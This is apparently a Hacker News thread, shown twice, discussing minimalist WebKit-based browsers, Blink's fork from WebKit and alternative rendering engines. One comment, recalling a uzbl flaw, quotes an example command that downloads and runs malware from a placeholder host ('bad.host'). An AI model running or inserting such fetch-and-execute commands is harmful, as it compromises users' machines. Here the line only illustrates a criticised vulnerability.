7 ms·

For anyone interested, here are some web browsers that are actually minimalist and not just reskins of chromium: http://surf.suckless.org/ http://surf.suckless

by wz1000 10y ago

For anyone interested, here are some web browsers that are actually minimalist and not just reskins of chromium: http://surf.suckless.org/ http://surf.suckless.org/ https://fanglingsu.github.io/vimb/ https://fanglingsu.github.io/vimb/ http://www.uzbl.org/ http://www.uzbl.org/

systemfreund 10y ago
qutebrowser is also worth mentioning: https://qutebrowser.org/ https://qutebrowser.org/
bpicolo 10y ago
I mean, they all use webkit, so not really that much different from using chromium.
- benbenolson 10y ago
  It's true that they use webkit (which is certainly not ideally minimalist), but even that is much lighter than using Chromium.
  - nornagon 10y ago
    Not really, the Chromium content/ layer is pretty much stuff that every browser implementor using blink (or previously, WebKit) would want. See http://www.chromium.org/developers/content-module http://www.chromium.org/developers/content-module for more info.
- amaks 10y ago
  Chromium doesn't use webkit, it uses Blink.
  - flying_kangaroo 10y ago
    Until a few years ago, Chromium was built on top of WebKit, then had a falling out with Apple / Safari and we got Blink.
  - andrewguenther 10y ago
    Blink is a fork of WebKit and is still largely the same.
    - bfgeek 10y ago
      Depends on what you are counting as the "same". Edge put together a really great visualization of the API surface of all the browsers. - https://developer.microsoft.com/en-us/microsoft-edge/platform/catalog/ https://developer.microsoft.com/en-us/microsoft-edge/platfor... The API surface (and bug surface) is actually pretty different these days. Internally Blink and WebKit are also diverging reasonably rapidly. As a specific example here is the project to re-architect how blink does it's painting: https://www.chromium.org/blink/slimming-paint https://www.chromium.org/blink/slimming-paint EDIT: spelling
      - digi_owl 10y ago
        More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard. And thus they throw manhours upon manhours of churn at whatever market segment they hope to control.
        sangnoir 10y ago
        > More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard Not quite - those that employ the maintainers define the standard, as shown multiple times by Red Hat (multiple projects) and by Apple with WebKit. IIRC, before the Blink fork, Google was pushing more commits into WebKit compared to Apple, but there was a - let's call it a difference in perspective - on a feature a Google employee wanted to implement, someone with an @apple.com email said "no". I can't remember what the issue was, but this development unfolded on webkit mailing list.
        digi_owl 10y ago
        True. But without constant churn alternative implementations of interfaces can catch up.
- groovy2shoes 10y ago
  You'd think so (I know I did!), but I was floored the first time I started up Xombrero and saw that with only one tab, it used less than a sixth of the memory that Chromium uses. Xombrero has quickly become my favorite browser, though I only used it in the first place because I couldn't get any other browser that both 1) was not sludge on the Raspberry Pi, and 2) supports the modern Web (HTML5, CSS3, JS, ...). It's not perfect by any means, but it is now my favorite :)
vertex-four 10y ago
All of those are WebKit-based, which was Chromium's rendering engine until recently. The rest of Chromium is primarily UI and network code, along with their sandboxing system and extensions - WebKit's "ports" have their own implementation of said network code tying into the framework that they're porting to (GTK+ or Qt, usually), and all three browsers you list use the WebKitGTK+ port. uzbl, the one I've used the most, primarily consists of a pile of code to map callbacks to a protocol on stdin/stdout, and a handful of example scripts to communicate over that protocol - it's certainly no more "from scratch" or smaller than any other WebKit-based browser. I expect that the other two similarly focus on UI code rather than pointlessly fiddling with WebKitGTK+'s internals - how are they not just skins (albeit of WebKitGTK+, not Chromium) as well?
- coderdude 10y ago
  Do you know of any independent rendering engines? That's something I'd truly be interested in seeing. It seems like a herculean task to undertake. Edit: Thanks very much for the links. This will be a lot of fun testing out. Just responding here to avoid triggering the anti-flamewar protection.
  - jerf 10y ago
    Well, you know how long you've been hearing about Servo, and how it still, to a first approximation, can't render the web? Yeah, they're also bringing up Rust next to it, but... yeah, that's how long it takes. It wasn't easy ten years ago, and a modern browser is at least an order of magnitude more complicated (WebGL, more complicated CSS, JS support, heck I'm not even really counting JS JIT here...).
  - vertex-four 10y ago
    Depends on what you mean by independent. If you just mean not any of the big three and their derivatives, you've got Servo[0], although that's still a herculean effort with direct support from Mozilla in terms of paying people to work on it. On the other end of the spectrum, you've got things like Dillo[1], which don't support much modern HTML/CSS/scripting, but do seem to get on by with far less effort. [0] https://servo.org/ https://servo.org/ [1] http://www.dillo.org/ http://www.dillo.org/
nugget 10y ago
Seems like the market is moving to almost all second-tier browsers (e.g. Opera) building from Chromium. I think this is a positive development as it should strengthen the underlying code if more people use it as a standard and then innovate UI, tools, services and so forth on top of it. Similar to what you see with the custom Android flavors/knock offs/whatever you want to call them in China.
- digi_owl 10y ago
  How quickly we forget the IE years...
- LoSboccacc 10y ago
  it also seems that browser built on chromium faces a lot of resistance, because "then I'd just use chromium" I myself jumped from Opera when they rewrote to blink
  - nugget 10y ago
    I can think of many reasons why folks would want to use a custom browser built on top of Chromium rather than Chrome. Take Opera for example - Adblock and VPN are two services that can live more efficiently deeper in the core versus the extension layer where they are on Chrome. And these are two services that Google does not want to promote any more than they have to in order not to shed users. Browser competition is great for the market, the last thing we want is to end up in an IE6 type situation (and yes it can happen to anybody, even Google).
aplaice 10y ago
For anyone interested, here are some web browsers that are actually lightweight (if not html5-compliant) and not webkit-based: http://www.dillo.org/ http://www.dillo.org/ http://www.netsurf-browser.org/ http://www.netsurf-browser.org/
- aerovistae 10y ago
  For anyone interested, here are some web browsers that are very lightweight and don't bother with HTML at all: https://www.google.com/search?q=spiders&espv=2&biw=1439&bih=646&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjKiKXags7NAhXL44MKHaEgAxUQ_AUIBigB#tbm=isch&q=web+of+spiders https://www.google.com/search?q=spiders&espv=2&biw=1439&bih=...
  - zatkin 10y ago
    For anyone interested, I'm just gonna stick to Safari on my Mac and iOS.
    - hockeybias 10y ago
      For anyone interested, I'm going for a walk outside.
    - lj3 10y ago
      For anyone interested, I hear gopher is making a comeback.
      - ghrifter 10y ago
        lol no generics
  - AceJohnny2 10y ago
    For anyone interested, here are some web browsers that don't care about content at all: https://curl.haxx.se/ https://curl.haxx.se/ https://www.gnu.org/software/wget/ https://www.gnu.org/software/wget/ http://docs.python-requests.org/en/master/ http://docs.python-requests.org/en/master/ http://search.cpan.org/dist/libwww-perl/lib/LWP.pm http://search.cpan.org/dist/libwww-perl/lib/LWP.pm
joeyo 10y ago
Conkeror (n.b. not Konkeror) is quite good too.
vonklaus 10y ago
No mention of brave.com?
adrusi 10y ago
I use surf as my main browser and have for the better part of a year. An addition to the list: https://pwmt.org/projects/jumanji/ https://pwmt.org/projects/jumanji/
ymse 10y ago
I'm amazed no-one has mentioned "dwb" in this thread. Yet another webkit-based browser with vi-like keybindings, but also an extension manager and plugins such as adblock and requestpolicy. Entirely keyboard-driven. http://portix.bitbucket.org/dwb/ http://portix.bitbucket.org/dwb/
- mrkgnao 10y ago
  Looks interesting! I'll have to give it a go today, thanks :)
- greggyb 10y ago
  I used to use dwb for some time. I thought that it was essentially abandonware at this point, with the primary developer focusing on other projects. Has it started receiving more attention again, or acquired a new maintainer?
throwaway7767 10y ago
uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; http://bad.host/malware; ./malware'); I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.

by wz1000 10y ago

systemfreund 10y ago

qutebrowser is also worth mentioning: https://qutebrowser.org/ https://qutebrowser.org/

bpicolo 10y ago

I mean, they all use webkit, so not really that much different from using chromium.

benbenolson 10y ago
It's true that they use webkit (which is certainly not ideally minimalist), but even that is much lighter than using Chromium.
- nornagon 10y ago
  Not really, the Chromium content/ layer is pretty much stuff that every browser implementor using blink (or previously, WebKit) would want. See http://www.chromium.org/developers/content-module http://www.chromium.org/developers/content-module for more info.
amaks 10y ago
Chromium doesn't use webkit, it uses Blink.
- flying_kangaroo 10y ago
  Until a few years ago, Chromium was built on top of WebKit, then had a falling out with Apple / Safari and we got Blink.
- andrewguenther 10y ago
  Blink is a fork of WebKit and is still largely the same.
  - bfgeek 10y ago
    Depends on what you are counting as the "same". Edge put together a really great visualization of the API surface of all the browsers. - https://developer.microsoft.com/en-us/microsoft-edge/platform/catalog/ https://developer.microsoft.com/en-us/microsoft-edge/platfor... The API surface (and bug surface) is actually pretty different these days. Internally Blink and WebKit are also diverging reasonably rapidly. As a specific example here is the project to re-architect how blink does it's painting: https://www.chromium.org/blink/slimming-paint https://www.chromium.org/blink/slimming-paint EDIT: spelling
    - digi_owl 10y ago
      More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard. And thus they throw manhours upon manhours of churn at whatever market segment they hope to control.
      - sangnoir 10y ago
        > More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard Not quite - those that employ the maintainers define the standard, as shown multiple times by Red Hat (multiple projects) and by Apple with WebKit. IIRC, before the Blink fork, Google was pushing more commits into WebKit compared to Apple, but there was a - let's call it a difference in perspective - on a feature a Google employee wanted to implement, someone with an @apple.com email said "no". I can't remember what the issue was, but this development unfolded on webkit mailing list.
        digi_owl 10y ago
        True. But without constant churn alternative implementations of interfaces can catch up.
groovy2shoes 10y ago
You'd think so (I know I did!), but I was floored the first time I started up Xombrero and saw that with only one tab, it used less than a sixth of the memory that Chromium uses. Xombrero has quickly become my favorite browser, though I only used it in the first place because I couldn't get any other browser that both 1) was not sludge on the Raspberry Pi, and 2) supports the modern Web (HTML5, CSS3, JS, ...). It's not perfect by any means, but it is now my favorite :)

vertex-four 10y ago

All of those are WebKit-based, which was Chromium's rendering engine until recently. The rest of Chromium is primarily UI and network code, along with their sandboxing system and extensions - WebKit's "ports" have their own implementation of said network code tying into the framework that they're porting to (GTK+ or Qt, usually), and all three browsers you list use the WebKitGTK+ port. uzbl, the one I've used the most, primarily consists of a pile of code to map callbacks to a protocol on stdin/stdout, and a handful of example scripts to communicate over that protocol - it's certainly no more "from scratch" or smaller than any other WebKit-based browser. I expect that the other two similarly focus on UI code rather than pointlessly fiddling with WebKitGTK+'s internals - how are they not just skins (albeit of WebKitGTK+, not Chromium) as well?

coderdude 10y ago
Do you know of any independent rendering engines? That's something I'd truly be interested in seeing. It seems like a herculean task to undertake. Edit: Thanks very much for the links. This will be a lot of fun testing out. Just responding here to avoid triggering the anti-flamewar protection.
- jerf 10y ago
  Well, you know how long you've been hearing about Servo, and how it still, to a first approximation, can't render the web? Yeah, they're also bringing up Rust next to it, but... yeah, that's how long it takes. It wasn't easy ten years ago, and a modern browser is at least an order of magnitude more complicated (WebGL, more complicated CSS, JS support, heck I'm not even really counting JS JIT here...).
- vertex-four 10y ago
  Depends on what you mean by independent. If you just mean not any of the big three and their derivatives, you've got Servo[0], although that's still a herculean effort with direct support from Mozilla in terms of paying people to work on it. On the other end of the spectrum, you've got things like Dillo[1], which don't support much modern HTML/CSS/scripting, but do seem to get on by with far less effort. [0] https://servo.org/ https://servo.org/ [1] http://www.dillo.org/ http://www.dillo.org/

nugget 10y ago

Seems like the market is moving to almost all second-tier browsers (e.g. Opera) building from Chromium. I think this is a positive development as it should strengthen the underlying code if more people use it as a standard and then innovate UI, tools, services and so forth on top of it. Similar to what you see with the custom Android flavors/knock offs/whatever you want to call them in China.

digi_owl 10y ago
How quickly we forget the IE years...
LoSboccacc 10y ago
it also seems that browser built on chromium faces a lot of resistance, because "then I'd just use chromium" I myself jumped from Opera when they rewrote to blink
- nugget 10y ago
  I can think of many reasons why folks would want to use a custom browser built on top of Chromium rather than Chrome. Take Opera for example - Adblock and VPN are two services that can live more efficiently deeper in the core versus the extension layer where they are on Chrome. And these are two services that Google does not want to promote any more than they have to in order not to shed users. Browser competition is great for the market, the last thing we want is to end up in an IE6 type situation (and yes it can happen to anybody, even Google).

aplaice 10y ago

For anyone interested, here are some web browsers that are actually lightweight (if not html5-compliant) and not webkit-based: http://www.dillo.org/ http://www.dillo.org/ http://www.netsurf-browser.org/ http://www.netsurf-browser.org/

aerovistae 10y ago
For anyone interested, here are some web browsers that are very lightweight and don't bother with HTML at all: https://www.google.com/search?q=spiders&espv=2&biw=1439&bih=646&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjKiKXags7NAhXL44MKHaEgAxUQ_AUIBigB#tbm=isch&q=web+of+spiders https://www.google.com/search?q=spiders&espv=2&biw=1439&bih=...
- zatkin 10y ago
  For anyone interested, I'm just gonna stick to Safari on my Mac and iOS.
  - hockeybias 10y ago
    For anyone interested, I'm going for a walk outside.
  - lj3 10y ago
    For anyone interested, I hear gopher is making a comeback.
    - ghrifter 10y ago
      lol no generics
- AceJohnny2 10y ago
  For anyone interested, here are some web browsers that don't care about content at all: https://curl.haxx.se/ https://curl.haxx.se/ https://www.gnu.org/software/wget/ https://www.gnu.org/software/wget/ http://docs.python-requests.org/en/master/ http://docs.python-requests.org/en/master/ http://search.cpan.org/dist/libwww-perl/lib/LWP.pm http://search.cpan.org/dist/libwww-perl/lib/LWP.pm

joeyo 10y ago

Conkeror (n.b. not Konkeror) is quite good too.

vonklaus 10y ago

No mention of brave.com?

adrusi 10y ago

I use surf as my main browser and have for the better part of a year. An addition to the list: https://pwmt.org/projects/jumanji/ https://pwmt.org/projects/jumanji/

ymse 10y ago

I'm amazed no-one has mentioned "dwb" in this thread. Yet another webkit-based browser with vi-like keybindings, but also an extension manager and plugins such as adblock and requestpolicy. Entirely keyboard-driven. http://portix.bitbucket.org/dwb/ http://portix.bitbucket.org/dwb/

mrkgnao 10y ago
Looks interesting! I'll have to give it a go today, thanks :)
greggyb 10y ago
I used to use dwb for some time. I thought that it was essentially abandonware at this point, with the primary developer focusing on other projects. Has it started receiving more attention again, or acquired a new maintainer?

throwaway7767 10y ago

uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; http://bad.host/malware; ./malware'); I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.